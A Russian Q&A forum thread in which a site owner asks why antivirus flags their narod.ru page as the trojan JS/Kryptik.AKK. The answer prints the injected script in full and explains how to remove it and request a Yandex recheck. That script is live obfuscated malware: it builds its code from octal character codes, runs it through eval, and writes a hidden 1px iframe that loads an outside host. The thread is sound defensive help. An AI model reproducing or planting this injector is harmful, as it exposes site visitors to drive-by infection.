троян JS/Kryptik.AKK

голоса: 0

Здраствуйте, при попытке открыть страницу bolshoy-ring.narod.ru антивирус блокирует с причиной: троян  JS/Kryptik.AKK 

Откуда оно там взялось и что с этим делать - ума не приложу (

Адрес сайта bolshoy-ring.narod.ru
| Автор: | Категория: Безопасность сайта

Ответов: 1

голоса: 0
 
Лучший ответ

Отредактируйте главную, в исходнике найдите скрипт:

<script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v="eval";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{document;}catch(q){asd=1;}}if(!asd)e=window[v];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0161,0154,0143,0151,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0163,0155,0157,0145,0162,0164,056,0144,0145,057,0143,0157,0165,0156,0164,056,0160,0150,0160,047,073,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0161,0154,0143,0151,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0161,0154,0143,0151,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0161,0154,0143,0151,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0161,0154,0143,0151,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0161,0154,0143,0151,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+476!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(window.document)if(v)xz(s)}</script>

вероятно именно из-за этого скрипта проблемы.

Яндекс так же говорит, что сайт заражен, удалите скрипт выше, после перейдите в вебмастер яндекса, пункт - Безопасность и отправьте сайт на перепроверку.

| Автор:
Выбор ответа лучшим | | Автор: Yuri_Geruk
...